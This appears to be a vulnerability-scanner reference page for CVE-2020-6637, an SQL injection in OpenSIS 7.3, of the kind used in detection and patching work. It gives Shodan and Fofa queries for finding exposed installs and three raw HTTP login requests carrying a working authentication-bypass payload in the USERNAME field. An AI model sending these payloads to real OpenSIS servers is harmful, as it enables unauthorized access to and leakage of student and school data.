| Title | OpenSIS 7.3 - SQL Injection |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. |
| Remediation | Apply the latest security patch or upgrade to a patched version of OpenSIS. |
| CVSS Score | 9.8 |
| EPSS Score | 0.78071 |
| CVE ID | CVE-2020-6637 |
| CWE ID | CWE-89 |
| Shodan Query | http.title:"openSIS"http.title:"opensis" |
| Fofa Query | title="opensis" |
| Tags | cve cve2020 sqli opensis os4ed vuln |
OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.
POST /account/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.16
Connection: close
Content-Length: 71
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=
POST /opensis/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 71
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 71
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-6637.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-6637.pcap
N/AN/A